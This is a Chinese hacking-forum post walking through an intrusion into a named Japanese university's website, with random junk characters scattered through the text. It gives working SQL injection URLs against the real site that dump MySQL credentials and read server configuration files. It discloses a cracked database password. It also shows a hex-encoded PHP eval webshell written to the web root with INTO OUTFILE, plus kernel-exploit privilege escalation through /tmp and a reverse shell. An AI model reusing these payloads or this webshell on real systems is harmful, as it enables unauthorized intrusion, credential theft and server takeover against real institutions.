找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2772|回复: 0
打印 上一主题 下一主题

入侵日本同志社大学

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-21 13:48:02 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
入侵日本同志社大学技术分析8 H1 N) x1 ?' F/ L. d) C

$ {, e% g! B8 ~1 V' y. |http://www.doshisha.ac.jp/chs/news/index.php?i=-18 m: k8 p: K) l3 K& `* z
然后联合查询,猜字段,查版本,查密码,读取文件…….就是各种查啊,语句是:
: u3 R4 g% ~& g
+ ?) t; H8 e" ]- W) Mhttp://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+1,@@datadir,3,load_file(‘/etc/httpd/conf/httpd.conf’),5,group_concat(DISTINCT+user,0x3a,password,0x3a,file_priv,0x3a,host),7,8+from+mysql.user
) h8 _' x3 P. Y0 b
, _: T2 J+ \3 m' G6 q' ]
: J! a; _  r7 Z0 `' v! @" z; D. L/ s5 K/ j$ {
//@@datadir为数据库文件路径
& S2 Z1 n7 s" t& @8 b
# I7 x( W) @1 t! H- S0 n+ q$ \/ ?( K( e& Z. c
//load_file读取网站容器apache的配置文件 ; V: m0 n6 E4 Q: R
: `: }, U( G+ M6 e7 U
: A% p- v7 x! n  @/ a
//group_concat读取MySQL管理员的名字、密码、是否允许读写文件和允许登录的远程计算机 ! U. ]) C* `8 g+ i; b$ S$ F0 l$ i
复制代码# B" Q- e  E* o3 U

8 P5 u! N. q+ [3 U1 y0 {  G虽然解得MySQL的root账户密码为mysql00,但是host为localhost,只允许本机登陆,所以用处不大。
, _7 D: U  Z& u) }' J3 F1 S$ O' u; g" @; T0 q/ r9 B3 M$ Y
而且Apache的配置文件显示,服务器拒绝非该大学的ip访问/admin/和phpMyAdmin,所以即使爆出管理员账户密码也没用。+ R) J2 W  T; F! N5 X
(大家对以上各种查和语句不太懂的可以参考以下文章:http://bbs.blackbap.org/thread-2243-1-1.html)* ?" a, S0 Z2 J2 g  `1 |

6 D. I0 q! R/ d: {. f* _0 l前面load_file是因为发现了各文件夹权限限制的死,不允许外校ip登陆,所以就猜了一下apache的配置文件绝对路径为默认,后来发现还真的是默认的路径。
" k1 q9 R+ e0 u' }; j( J如果知道怎么猜apache配置文件的路径的请参考以下文章:http://bbs.blackbap.org/thread-2242-1-1.html
- E; e# h# }) b2 X
; k2 w$ E7 a3 F$ I: N7 X- R既然已经知道了Apache的配置文件的内容,我们也就轻易知道了网站物理路径,路径为:/http/www/koho/* f- V8 \( Y3 X- R" p/ P+ r5 D. Z
虽然/admin和phpMyAdmin的目录都限制了,但是想了想,我们只要有注入点就可以可以写入shell了,因为php的GPC为off,怎么判断为off我就不说了。
1 V: z5 W' K/ X/ A$ s( h* A( Z直接写一句话:
; e& h. ~; \0 f3 l& h9 _: k4 M6 Z4 o2 b5 G5 @9 d
http://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+ 0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E,0x3c3f2f2a,3,4,5,6,7,0x2a2f3f3e+into+outfile+’/http/www/koho/english/engnews_img/aa.php’#4 C5 E, r, P! ]
) E  Q: b9 }9 P
: B( a) w  A' H
* o) q$ I3 |# K0 Y/ M
//最后的#是为了闭合前面的语句
) ~3 k7 L7 m, h. n$ }2 A+ o; Q 9 K& K' c3 O  q9 _: O

1 l2 v) [1 {* \* O/*其中的0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E
3 q! ]8 f9 n7 V) p( t
/ c+ h9 [3 L# R7 v1 v9 ^! W: B9 u# A! e( j, v
为一句话<?php @eval($_POST['cmd']);?>的HEX编码,不懂(HEX编码)的话Google一下就好*/ 8 G1 O1 P9 T8 v" s+ K3 [3 X, F- K
8 F+ w' h" a' d1 L
. _' }5 g. P' M) @
//如果直接select 一句话 into outfile ‘路径’会提示字段数不同,所以select 1,2,3,4…来执行注入语句   R: B' i+ M" R9 p! G8 G
) c( a8 E! t& U. }) w, O6 b  f
3 K0 ]$ G2 c$ i4 l5 O
//后面的0x3c3f2f2a和0x2a2f3f3e分别为’<?php //’的和’?>’HEX因为select后面的3,4,5,6会被写入webshell中,可能会导致一句话执行错误
. d, F; P. Y# h5 e$ t3 L8 p/ L& q//所以最后aa.php的内容就是”<?php @eval($_POST['cmd']);?><?php //3,4,5,6,7 ?>”
# r+ V* K" f. ^复制代码5 L; b: J2 V3 T7 E+ ^
% Y3 i; d) g' K5 R+ e
HEX其实就是十六进制编码,不知道这个编码的话,去搜一下好了,HEX编码转换在线本地各种工具各种有
7 A" K3 ~9 W# |1 t/ v3 ~9 ?9 M通过上述注入语句,我们就得到了一句话木马:
3 I! J9 v: B/ y2 W) V% J! a
  L; W5 r0 ^- I) `2 Z8 |7 H 8 q4 C( z$ a; N3 V2 i, {1 Y

) D% D7 T) B) S6 P% v" B
7 o% A. c) q* R/ [: [. A0 }# q2 `; h( Y/ v
http://www.doshisha.ac.jp/english/engnews_img/aa.php - a6 o  j7 }5 i- s9 w! t: @' j. Y
复制代码
) L2 ^# R& a8 P3 F8 G1 ]7 H$ {+ t4 s6 S2 h
用菜刀连接,密码是cmd,如图所示:
* Y: |& V# m1 S) O4 o5 d8 S然后在命令提示行里看了一下,现在的权限是:
2 D8 u4 Q! `) @6 U/ v& `
0 y: B/ p4 E& I6 {之后按照惯例我看了一下/tmp/文件夹,发现/TMP/权限居然被禁掉了,很少有服务器禁掉这个文件夹的。
3 k4 B5 ?9 A9 b: H! W好在赋权给这个文件夹不需要root,直接执行赋权语句:
3 c' o# E1 M* J* T& o$ ^5 ~8 e( m1 f- z! M
8 ~2 ^& @7 l$ V0 C/ v' B

- ^" V& O3 B, c/ J  V) e0 c ) K/ m$ V$ _% x0 i
2 u. h2 I% q* z/ b6 a  A1 i
chmod +x /tmp/ ( T  E  c# A5 E3 O7 W
复制代码. s( M, e6 i  p3 [0 K) j
% }3 [# Q5 a# V4 Z3 e9 c. r/ _
在这说一下,linux里面的文件夹跟文件一样,执行命令自然也可以按照像文件一样的执行
4 q6 y! G% g, F6 p" r然后就查了一下内核版本:) ?1 x" i  z/ W% B
1 s, J! c0 |6 d' \1 q
' a- A  [2 o* X- K; ~) N' f4 s) B! A% w
" z1 F* N/ E: \

$ P! \' j* y5 a
/ p+ h7 z# I4 K. B/ d/ Iuname-a
* F. b8 C# b* D% k1 n& A 2 |+ m( @# ]0 N8 Y2 l

( ~$ h5 d0 R$ G8 l1 C7 M  ]* j$ ], V//其实lsb_release -a ) F. O- F7 n) |( |3 q
复制代码! E2 W" k% Y# Z5 L

* R, H4 u2 P2 q0 f& J. w* q; [如图所示:
- _9 A0 n$ u5 t5 K" P
0 X9 G) z/ z1 C. |, ?' {) ]1 K内核版本:linux mainz1 2.6.28-194.e15
9 R8 Y& E% \, G/ p% m系统描述为:Red Hat Enterprise Linux Server release 5.5 (Tikanga)7 O, G$ `7 O( t4 ^+ [0 d) \
查完了系统版本之后就去找找相应的提权脚本!~然后传到/tmp/文件夹
) R4 X6 }+ l) |* Z, \4 I! _# @# K- J. E; [$ z- w
然后给予执行权限
. t1 b' U2 l0 N1 J# t9 a% r1 y一般我都是传上去c源文件,然后”gcc -o /tmp/程序 /tmp/C源码”这样,如果gcc不能用,在其他机器编译好了直接传上去其实也可以,就像这样" @; y! `3 ^* f; H2 ~
2 K4 y9 I7 `+ O7 @
& @# B9 z& o8 H5 t$ i. T7 ?& S

% X/ l( }0 m$ _3 o9 E ( R% B: R  b) @) k
5 \  |9 @- [% H) s4 k% x: H
chmod +x /tmp/2.6.18-194 . F6 a% o5 c. U6 i8 X- B: R& |
复制代码 然后直接执行!~4 }7 Y) Q' x+ n9 B, g0 N/ b
( x" ~7 y" Z8 O: r. t9 \# j4 b  M& o
总结:
  J$ _- d) R0 O- Z( T! |这个注入点的基本思路就是,发现MySQL账户为root,GPC设置为off,搞到了物理路径就直接写Webshell了
2 a- I; {& b& F  p* l. d提权部分原理就是,本地监听端口,将对方机器反弹回cmdshell来,然后把和内核版本对应的EXP传上去,编译运行,得到root
, X4 u3 a3 W$ O$ w, T# ^
: p# c$ G/ R+ M( g8 G5 l+ N- ~
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表